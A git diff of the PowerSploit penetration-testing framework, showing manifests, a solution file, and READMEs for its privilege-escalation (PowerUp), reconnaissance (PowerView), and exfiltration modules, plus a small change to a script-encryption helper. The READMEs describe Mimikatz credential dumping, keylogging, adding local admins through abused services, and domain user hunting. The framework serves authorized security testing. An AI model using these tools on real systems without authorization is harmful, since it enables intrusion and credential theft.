<Compile Include="Exfiltration\LogonUser\LogonUser\logon\targetver.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser.sln" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\dllmain.cpp" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFS.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFSParserDLL.cpp" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFSParserDLL.vcxproj" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFSParserDLL.vcxproj.filters" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFS_Attribute.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFS_Common.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFS_DataType.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFS_FileRecord.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\ReadMe.txt" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\stdafx.cpp" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\stdafx.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\targetver.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFS.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFSParser.cpp" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFSParser.vcxproj" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFSParser.vcxproj.filters" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFS_Attribute.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFS_Common.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFS_DataType.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFS_FileRecord.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\ReadMe.txt" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\stdafx.cpp" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\stdafx.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\targetver.h" />
<Compile Include="Exfiltration\Out-Minidump.ps1" />
<Compile Include="Exfiltration\Usage.md" />
<Compile Include="Exfiltration\VolumeShadowCopyTools.ps1" />
<Compile Include="LICENSE" />
<Compile Include="Mayhem\Mayhem.psd1" />
<Compile Include="Mayhem\Mayhem.psm1" />
<Compile Include="Mayhem\Usage.md" />
<Compile Include="Persistence\Persistence.psd1" />
<Compile Include="Persistence\Persistence.psm1" />
<Compile Include="Persistence\Usage.md" />
<Compile Include="PowerSploit.psd1" />
<Compile Include="PowerSploit.psm1" />
<Compile Include="Privesc\PowerUp.ps1" />
<Compile Include="Privesc\Privesc.psd1" />
<Compile Include="Privesc\Privesc.psm1" />
<Compile Include="Privesc\README.md" />
<Compile Include="README.md" />
<Compile Include="Recon\Dictionaries\admin.txt" />
<Compile Include="Recon\Dictionaries\generic.txt" />
<Compile Include="Recon\Dictionaries\sharepoint.txt" />
<Compile Include="Recon\Get-ComputerDetails.ps1" />
<Compile Include="Recon\Get-HttpStatus.ps1" />
<Compile Include="Recon\Invoke-Portscan.ps1" />
<Compile Include="Recon\Invoke-ReverseDnsLookup.ps1" />
<Compile Include="Recon\PowerView.ps1" />
<Compile Include="Recon\README.md" />
<Compile Include="Recon\Recon.psd1" />
<Compile Include="Recon\Recon.psm1" />
<Compile Include="ScriptModification\Out-CompressedDll.ps1" />
<Compile Include="ScriptModification\Out-EncodedCommand.ps1" />
<Compile Include="ScriptModification\Out-EncryptedScript.ps1" />
<Compile Include="ScriptModification\Remove-Comments.ps1" />
<Compile Include="ScriptModification\ScriptModification.psd1" />
<Compile Include="ScriptModification\ScriptModification.psm1" />
<Compile Include="ScriptModification\Usage.md" />
<Compile Include="Tests\CodeExecution.tests.ps1" />
<Compile Include="Tests\PowerSploit.tests.ps1" />
<Compile Include="Tests\Privesc.tests.ps1" />
<Compile Include="Tests\Recon.tests.ps1" />
</ItemGroup>
<ItemGroup>
<Folder Include="AntivirusBypass\" />
<Folder Include="CodeExecution\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x64\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x86\" />
<Folder Include="Exfiltration\" />
<Folder Include="Exfiltration\LogonUser\" />
<Folder Include="Exfiltration\LogonUser\LogonUser\" />
<Folder Include="Exfiltration\LogonUser\LogonUser\LogonUser\" />
<Folder Include="Exfiltration\LogonUser\LogonUser\logon\" />
<Folder Include="Exfiltration\NTFSParser\" />
<Folder Include="Exfiltration\NTFSParser\NTFSParserDLL\" />
<Folder Include="Exfiltration\NTFSParser\NTFSParser\" />
<Folder Include="Mayhem\" />
<Folder Include="Persistence\" />
<Folder Include="Privesc\" />
<Folder Include="Recon\" />
<Folder Include="Recon\Dictionaries\" />
<Folder Include="ScriptModification\" />
<Folder Include="Tests\" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
<Target Name="Build" />
</Project>

22
PowerSploit.sln Normal file
View File

@ -0,0 +1,22 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.23107.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{F5034706-568F-408A-B7B3-4D38C6DB8A32}") = "PowerSploit", "PowerSploit.pssproj", "{6CAFC0C6-A428-4D30-A9F9-700E829FEA51}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Debug|Any CPU.ActiveCfg = Release|Any CPU
{6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Debug|Any CPU.Build.0 = Release|Any CPU
{6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Release|Any CPU.ActiveCfg = Release|Any CPU
{6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

2295
Privesc/PowerUp.ps1 Normal file

File diff suppressed because one or more lines are too long

52
Privesc/Privesc.psd1 Normal file
View File

@ -0,0 +1,52 @@
@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'Privesc.psm1'
# Version number of this module.
ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module
GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56'
# Author of this module
Author = 'Will Schroder'
# Copyright statement for this module
Copyright = 'BSD 3-Clause'
# Description of the functionality provided by this module
Description = 'PowerSploit Privesc Module'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0'
# Functions to export from this module
FunctionsToExport = @(
'Get-ServiceUnquoted',
'Get-ServiceFilePermission',
'Get-ServicePermission',
'Get-ServiceDetail',
'Invoke-ServiceAbuse',
'Write-ServiceBinary',
'Install-ServiceBinary',
'Restore-ServiceBinary',
'Find-DLLHijack',
'Find-PathHijack',
'Write-HijackDll',
'Get-RegAlwaysInstallElevated',
'Get-RegAutoLogon',
'Get-VulnAutoRun',
'Get-VulnSchTask',
'Get-UnattendedInstallFile',
'Get-Webconfig',
'Get-ApplicationHost',
'Write-UserAddMSI',
'Invoke-AllChecks'
)
# List of all files packaged with this module
FileList = 'Privesc.psm1', 'PowerUp.ps1', 'README.md'
}

1
Privesc/Privesc.psm1 Normal file
View File

@ -0,0 +1 @@
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}

59
Privesc/README.md Normal file
View File

@ -0,0 +1,59 @@
To install this module, drop the entire Privesc folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.
The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules"
The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"
To use the module, type `Import-Module Privesc`
To see the commands imported, type `Get-Command -Module Privesc`
For help on each individual command, Get-Help is your friend.
Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.
## PowerUp
PowerUp aims to be a clearinghouse of common Windows privilege escalation
vectors that rely on misconfigurations.
Running Invoke-AllChecks will output any identifiable vulnerabilities along
with specifications for any abuse functions. The -HTMLReport flag will also
generate a COMPUTER.username.html version of the report.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
### Service Enumeration:
Get-ServiceUnquoted - returns services with unquoted paths that also have a space in the name
Get-ServiceFilePermission - returns services where the current user can write to the service binary path or its config
Get-ServicePermission - returns services the current user can modify
Get-ServiceDetail - returns detailed information about a specified service
### Service Abuse:
Invoke-ServiceAbuse - modifies a vulnerable service to create a local admin or execute a custom command
Write-ServiceBinary - writes out a patched C# service binary that adds a local admin or executes a custom command
Install-ServiceBinary - replaces a service binary with one that adds a local admin or executes a custom command
Restore-ServiceBinary - restores a replaced service binary with the original executable
### DLL Hijacking:
Find-DLLHijack - finds .dll hijacking opportunities for currently running processes
Find-PathHijack - finds service %PATH% .dll hijacking opportunities
Write-HijackDll - writes out a hijackable .dll
### Registry Checks:
Get-RegAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set
Get-RegAutoLogon - checks for Autologon credentials in the registry
Get-VulnAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns
### Misc.:
Get-VulnSchTask - find schtasks with modifiable target files
Get-UnattendedInstallFile - finds remaining unattended installation files
Get-Webconfig - checks for any encrypted web.config strings
Get-ApplicationHost - checks for encrypted application pool and virtual directory passwords
Write-UserAddMSI - write out a MSI installer that prompts for a user to be added
Invoke-AllChecks - runs all current escalation checks and returns a report

View File

@ -1,7 +1,5 @@
### PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts: ### PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts:
### Note: All reverse engineering components of PowerSploit now reside in the [PowerShellArsenal](https://github.com/mattifestation/PowerShellArsenal).
## CodeExecution ## CodeExecution
**Execute code on a target machine.** **Execute code on a target machine.**
@ -18,10 +16,6 @@ Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or
Injects shellcode into the process ID of your choosing or within PowerShell locally. Injects shellcode into the process ID of your choosing or within PowerShell locally.
#### `Invoke-ShellcodeMSIL`
Execute shellcode within the context of the running PowerShell process without making any Win32 function calls.
#### `Invoke-WmiCommand` #### `Invoke-WmiCommand`
Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel. Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel.
@ -96,7 +90,7 @@ Copies a file from an NTFS partitioned volume by reading the raw volume and pars
#### `Invoke-Mimikatz` #### `Invoke-Mimikatz`
Reflectively loads Mimikatz 1.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz. Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz.
#### `Get-Keystrokes` #### `Get-Keystrokes`
@ -110,6 +104,10 @@ Retrieves the plaintext password and other information for accounts pushed throu
A function that takes screenshots at a regular interval and saves them to a folder. A function that takes screenshots at a regular interval and saves them to a folder.
#### `New-VolumeShadowCopy`
Creates a new volume shadow copy.
#### `Get-VolumeShadowCopy` #### `Get-VolumeShadowCopy`
Lists the device paths of all local volume shadow copies. Lists the device paths of all local volume shadow copies.
@ -118,6 +116,10 @@ Lists the device paths of all local volume shadow copies.
Mounts a volume shadow copy. Mounts a volume shadow copy.
#### `Remove-VolumeShadowCopy`
Deletes a volume shadow copy.
#### `Get-VaultCredential` #### `Get-VaultCredential`
Displays Windows vault credential objects including cleartext web credentials. Displays Windows vault credential objects including cleartext web credentials.
@ -139,6 +141,14 @@ Proof of concept code that overwrites the master boot record with the
Causes your machine to blue screen upon exiting PowerShell. Causes your machine to blue screen upon exiting PowerShell.
## Privesc
**Tools to help with escalating privileges on a target.**
#### `PowerUp`
Clearing house of common privilege escalation checks, along with some weaponization vectors.
## Recon ## Recon
**Tools to aid in the reconnaissance phase of a penetration test.** **Tools to aid in the reconnaissance phase of a penetration test.**
@ -153,7 +163,11 @@ Returns the HTTP Status Codes and full URL for specified paths when provided wit
#### `Invoke-ReverseDnsLookup` #### `Invoke-ReverseDnsLookup`
Scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test. Scans an IP address range for DNS PTR records.
#### `PowerView`
PowerView is series of functions that performs network and Windows domain enumeration and exploitation.
## Recon\Dictionaries ## Recon\Dictionaries
@ -189,6 +203,15 @@ For help on each individual command, Get-Help is your friend.
Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.
## Contribution Rules
We need contributions! If you have a great idea for PowerSploit, we'd love to add it. New additions will require the following:
* The script must adhere to the style guide. Any exceptions to the guide line would need an explicit, valid reason.
* The module manifest needs to be updated to reflect the new function being added.
* A brief description of the function should be added to this README.md
* Pester tests must accompany all new functions. See the Tests folder for examples but we are looking for tests that at least cover the basics by testing for expected/unexpected input/output and that the function exhibits desired functionality. Make sure the function is passing all tests (preferably in mutiple OSes) prior to submitting a pull request. Thanks!
## Script Style Guide ## Script Style Guide
**For all contributors and future contributors to PowerSploit, I ask that you follow this style guide when writing your scripts/modules.** **For all contributors and future contributors to PowerSploit, I ask that you follow this style guide when writing your scripts/modules.**
@ -230,4 +253,4 @@ Note: The tools contained within this module were all designed such that they ca
* Use default values for your parameters when it makes sense. Ideally, you want a script that will work without requiring any parameters. * Use default values for your parameters when it makes sense. Ideally, you want a script that will work without requiring any parameters.
* If a script creates complex custom objects, include a ps1xml file that will properly format the object's output. * If a script creates complex custom objects, include a ps1xml file that will properly format the object's output.

View File

@ -1,4 +1,4 @@
function Get-ComputerDetails function Get-ComputerDetails
{ {
<# <#
.SYNOPSIS .SYNOPSIS
@ -9,7 +9,6 @@ Function: Get-ComputerDetails
Author: Joe Bialek, Twitter: @JosephBialek Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None Required Dependencies: None
Optional Dependencies: None Optional Dependencies: None
Version: 1.1
.DESCRIPTION .DESCRIPTION
@ -102,7 +101,6 @@ Function: Find-4648Logons
Author: Joe Bialek, Twitter: @JosephBialek Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None Required Dependencies: None
Optional Dependencies: None Optional Dependencies: None
Version: 1.1
.DESCRIPTION .DESCRIPTION
@ -230,7 +228,6 @@ Function: Find-4624Logons
Author: Joe Bialek, Twitter: @JosephBialek Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None Required Dependencies: None
Optional Dependencies: None Optional Dependencies: None
Version: 1.1
.DESCRIPTION .DESCRIPTION
@ -376,7 +373,6 @@ Function: Find-AppLockerLogs
Author: Joe Bialek, Twitter: @JosephBialek Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None Required Dependencies: None
Optional Dependencies: None Optional Dependencies: None
Version: 1.1
.DESCRIPTION .DESCRIPTION
@ -442,7 +438,6 @@ Function: Find-AppLockerLogs
Author: Joe Bialek, Twitter: @JosephBialek Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None Required Dependencies: None
Optional Dependencies: None Optional Dependencies: None
Version: 1.1
.DESCRIPTION .DESCRIPTION
@ -523,7 +518,6 @@ Function: Find-RDPClientConnections
Author: Joe Bialek, Twitter: @JosephBialek Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None Required Dependencies: None
Optional Dependencies: None Optional Dependencies: None
Version: 1.1
.DESCRIPTION .DESCRIPTION
@ -577,4 +571,4 @@ Github repo: https://github.com/clymb3r/PowerShell
} }
return $ReturnInfo return $ReturnInfo
} }

View File

@ -15,10 +15,6 @@ Optional Dependencies: None
Does a simple port scan using regular sockets, based (pretty) loosely on nmap Does a simple port scan using regular sockets, based (pretty) loosely on nmap
.NOTES
version .13
.PARAMETER Hosts .PARAMETER Hosts
Include these comma seperated hosts (supports IPv4 CIDR notation) or pipe them in Include these comma seperated hosts (supports IPv4 CIDR notation) or pipe them in

11304
Recon/PowerView.ps1 Normal file

File diff suppressed because it is too large Load Diff

127
Recon/README.md Normal file
View File

@ -0,0 +1,127 @@
To install this module, drop the entire Recon folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.
The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules"
The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"
To use the module, type `Import-Module Recon`
To see the commands imported, type `Get-Command -Module Recon`
For help on each individual command, Get-Help is your friend.
Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.
## PowerView
PowerView is a PowerShell tool to gain network situational awareness on
Windows domains. It contains a set of pure-PowerShell replacements for various
windows "net *" commands, which utilize PowerShell AD hooks and underlying
Win32 API functions to perform useful Windows domain functionality.
It also implements various useful metafunctions, including some custom-written
user-hunting functions which will identify where on the network specific users
are logged into. It can also check which machines on the domain the current
user has local administrator access on. Several functions for the enumeration
and abuse of domain trusts also exist. See function descriptions for appropriate
usage and available options. For detailed output of underlying functionality, pass
the -Verbose or -Debug flags.
For functions that enumerate multiple machines, pass the -Verbose flag to get a
progress status as each host is enumerated. Most of the "meta" functions accept
an array of hosts from the pipeline.
### Misc Functions:
Export-PowerViewCSV - thread-safe CSV append
Set-MacAttribute - Sets MAC attributes for a file based on another file or input (from Powersploit)
Copy-ClonedFile - copies a local file to a remote location, matching MAC properties
Get-IPAddress - resolves a hostname to an IP
Test-Server - tests connectivity to a specified server
Convert-NameToSid - converts a given user/group name to a security identifier (SID)
Convert-SidToName - converts a security identifier (SID) to a group/user name
Convert-NT4toCanonical - converts a user/group NT4 name (i.e. dev/john) to canonical format
Get-Proxy - enumerates local proxy settings
Get-PathAcl - get the ACLs for a local/remote file path with optional group recursion
Get-UserProperty - returns all properties specified for users, or a set of user:prop names
Get-ComputerProperty - returns all properties specified for computers, or a set of computer:prop names
Find-InterestingFile - search a local or remote path for files with specific terms in the name
Invoke-CheckLocalAdminAccess - check if the current user context has local administrator access to a specified host
Get-DomainSearcher - builds a proper ADSI searcher object for a given domain
Get-ObjectAcl - returns the ACLs associated with a specific active directory object
Add-ObjectAcl - adds an ACL to a specified active directory object
Get-LastLoggedOn - return the last logged on user for a target host
Get-CachedRDPConnection - queries all saved RDP connection entries on a target host
Invoke-ACLScanner - enumerate -1000+ modifable ACLs on a specified domain
Get-GUIDMap - returns a hash table of current GUIDs -> display names
Get-DomainSID - return the SID for the specified domain
Invoke-ThreadedFunction - helper that wraps threaded invocation for other functions
### net * Functions:
Get-NetDomain - gets the name of the current user's domain
Get-NetForest - gets the forest associated with the current user's domain
Get-NetForestDomain - gets all domains for the current forest
Get-NetDomainController - gets the domain controllers for the current computer's domain
Get-NetUser - returns all user objects, or the user specified (wildcard specifiable)
Add-NetUser - adds a local or domain user
Get-NetComputer - gets a list of all current servers in the domain
Get-NetPrinter - gets an array of all current computers objects in a domain
Get-NetOU - gets data for domain organization units
Get-NetSite - gets current sites in a domain
Get-NetSubnet - gets registered subnets for a domain
Get-NetGroup - gets a list of all current groups in a domain
Get-NetGroupMember - gets a list of all current users in a specified domain group
Get-NetLocalGroup - gets the members of a localgroup on a remote host or hosts
Add-NetGroupUser - adds a local or domain user to a local or domain group
Get-NetFileServer - get a list of file servers used by current domain users
Get-DFSshare - gets a list of all distribute file system shares on a domain
Get-NetShare - gets share information for a specified server
Get-NetLoggedon - gets users actively logged onto a specified server
Get-NetSession - gets active sessions on a specified server
Get-NetRDPSession - gets active RDP sessions for a specified server (like qwinsta)
Get-NetProcess - gets the remote processes and owners on a remote server
Get-UserEvent - returns logon or TGT events from the event log for a specified host
Get-ADObject - takes a domain SID and returns the user, group, or computer
object associated with it
Set-ADObject - takes a SID, name, or SamAccountName to query for a specified
domain object, and then sets a specified 'PropertyName' to a
specified 'PropertyValue'
### GPO functions
Get-GptTmpl - parses a GptTmpl.inf to a custom object
Get-NetGPO - gets all current GPOs for a given domain
Get-NetGPOGroup - gets all GPOs in a domain that set "Restricted Groups"
on on target machines
Find-GPOLocation - takes a user/group and makes machines they have effective
rights over through GPO enumeration and correlation
Find-GPOComputerAdmin - takes a computer and determines who has admin rights over it
through GPO enumeration
Get-DomainPolicy - returns the default domain or DC policy
### User-Hunting Functions:
Invoke-UserHunter - finds machines on the local domain where specified users are logged into, and can optionally check if the current user has local admin access to found machines
Invoke-StealthUserHunter - finds all file servers utilizes in user HomeDirectories, and checks the sessions one each file server, hunting for particular users
Invoke-ProcessHunter - hunts for processes with a specific name or owned by a specific user on domain machines
Invoke-UserEventHunter - hunts for user logon events in domain controller event logs
### Domain Trust Functions:
Get-NetDomainTrust - gets all trusts for the current user's domain
Get-NetForestTrust - gets all trusts for the forest associated with the current user's domain
Find-ForeignUser - enumerates users who are in groups outside of their principal domain
Find-ForeignGroup - enumerates all the members of a domain's groups and finds users that are outside of the queried domain
Invoke-MapDomainTrust - try to build a relational mapping of all domain trusts
### MetaFunctions:
Invoke-ShareFinder - finds (non-standard) shares on hosts in the local domain
Invoke-FileFinder - finds potentially sensitive files on hosts in the local domain
Find-LocalAdminAccess - finds machines on the domain that the current user has local admin access to
Find-UserField - searches a user field for a particular term
Find-ComputerField - searches a computer field for a particular term
Get-ExploitableSystem - finds systems likely vulnerable to common exploits
Invoke-EnumerateLocalAdmin - enumerates members of the local Administrators groups across all machines in the domain

View File

@ -4,16 +4,13 @@
ModuleToProcess = 'Recon.psm1' ModuleToProcess = 'Recon.psm1'
# Version number of this module. # Version number of this module.
ModuleVersion = '1.0.0.0' ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module # ID used to uniquely identify this module
GUID = '7e775ad6-cd3d-4a93-b788-da067274c877' GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'
# Author of this module # Author of this module
Author = 'Matthew Graeber' Author = 'Matthew Graeber', 'Will Schroeder'
# Company or vendor of this module
CompanyName = ''
# Copyright statement for this module # Copyright statement for this module
Copyright = 'BSD 3-Clause' Copyright = 'BSD 3-Clause'
@ -24,65 +21,76 @@ Description = 'PowerSploit Reconnaissance Module'
# Minimum version of the Windows PowerShell engine required by this module # Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0' PowerShellVersion = '2.0'
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of the .NET Framework required by this module
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = ''
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
# Functions to export from this module # Functions to export from this module
FunctionsToExport = '*' FunctionsToExport = @(
'Get-ComputerDetails',
# Cmdlets to export from this module 'Get-HttpStatus',
CmdletsToExport = '*' 'Invoke-Portscan',
'Invoke-ReverseDnsLookup',
# Variables to export from this module 'Set-MacAttribute',
VariablesToExport = '' 'Copy-ClonedFile',
'Convert-NameToSid',
# Aliases to export from this module 'Convert-SidToName',
AliasesToExport = '' 'Convert-NT4toCanonical',
'Get-Proxy',
# List of all modules packaged with this module. 'Get-PathAcl',
ModuleList = @(@{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'}) 'Get-NetDomain',
'Get-NetForest',
'Get-NetForestDomain',
'Get-NetForestCatalog',
'Get-NetDomainController',
'Get-NetUser',
'Add-NetUser',
'Get-UserProperty',
'Find-UserField',
'Get-UserEvent',
'Get-ObjectAcl',
'Add-ObjectAcl',
'Invoke-ACLScanner',
'Get-NetComputer',
'Get-ADObject',
'Set-ADObject',
'Get-ComputerProperty',
'Find-ComputerField',
'Get-NetOU',
'Get-NetSite',
'Get-NetSubnet',
'Get-NetGroup',
'Get-NetGroupMember',
'Get-NetFileServer',
'Get-DFSshare',
'Get-NetGPO',
'Get-NetGPOGroup',
'Find-GPOLocation',
'Find-GPOComputerAdmin',
'Get-DomainPolicy',
'Get-NetLocalGroup',
'Get-NetShare',
'Get-NetLoggedon',
'Get-NetSession',
'Get-NetRDPSession',
'Invoke-CheckLocalAdminAccess',
'Get-LastLoggedOn',
'Get-CachedRDPConnection',
'Get-NetProcess',
'Find-InterestingFile',
'Invoke-UserHunter',
'Invoke-ProcessHunter',
'Invoke-EventHunter',
'Invoke-ShareFinder',
'Invoke-FileFinder',
'Find-LocalAdminAccess',
'Get-ExploitableSystem',
'Invoke-EnumerateLocalAdmin',
'Get-NetDomainTrust',
'Get-NetForestTrust',
'Find-ForeignUser',
'Find-ForeignGroup',
'Invoke-MapDomainTrust'
)
# List of all files packaged with this module # List of all files packaged with this module
FileList = 'Recon.psm1', 'Recon.psd1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsLookup.ps1', FileList = 'Recon.psm1', 'Recon.psd1', 'PowerView.ps1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsLookup.ps1',
'Invoke-Portscan.ps1', 'Get-ComputerDetails.ps1', 'Usage.md' 'Invoke-Portscan.ps1', 'Get-ComputerDetails.ps1', 'README.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
# HelpInfo URI of this module
# HelpInfoURI = ''
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
} }

View File

@ -1,12 +0,0 @@
To install this module, drop the entire Recon folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.
The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules"
The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"
To use the module, type `Import-Module Recon`
To see the commands imported, type `Get-Command -Module Recon`
For help on each individual command, Get-Help is your friend.
Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.

View File

@ -90,7 +90,7 @@ This command can be used to encrypt any text-based file/script
$AsciiEncoder = New-Object System.Text.ASCIIEncoding $AsciiEncoder = New-Object System.Text.ASCIIEncoding
$ivBytes = $AsciiEncoder.GetBytes($InitializationVector) $ivBytes = $AsciiEncoder.GetBytes($InitializationVector)
# While this can be used to encrypt any file, it's primarily designed to encrypt itself. # While this can be used to encrypt any file, it's primarily designed to encrypt itself.
[Byte[]] $scriptBytes = [Text.Encoding]::ASCII.GetBytes((Get-Content -Encoding Ascii -Path $ScriptPath)) [Byte[]] $scriptBytes = Get-Content -Encoding Byte -ReadCount 0 -Path $ScriptPath
$DerivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes($Password, $AsciiEncoder.GetBytes($Salt), "SHA1", 2) $DerivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes($Password, $AsciiEncoder.GetBytes($Salt), "SHA1", 2)
$Key = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider $Key = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider
$Key.Mode = [System.Security.Cryptography.CipherMode]::CBC $Key.Mode = [System.Security.Cryptography.CipherMode]::CBC
@ -126,7 +126,8 @@ function de([String] `$b, [String] `$c)
`$i.Close(); `$i.Close();
`$j.Close(); `$j.Close();
`$f.Clear(); `$f.Clear();
return `$encoding.GetString(`$h,0,`$h.Length); if ((`$h.Length -gt 3) -and (`$h[0] -eq 0xEF) -and (`$h[1] -eq 0xBB) -and (`$h[2] -eq 0xBF)) { `$h = `$h[3..(`$h.Length-1)]; }
return `$encoding.GetString(`$h).TrimEnd([Char] 0);
} }
"@ "@

View File

@ -4,7 +4,7 @@
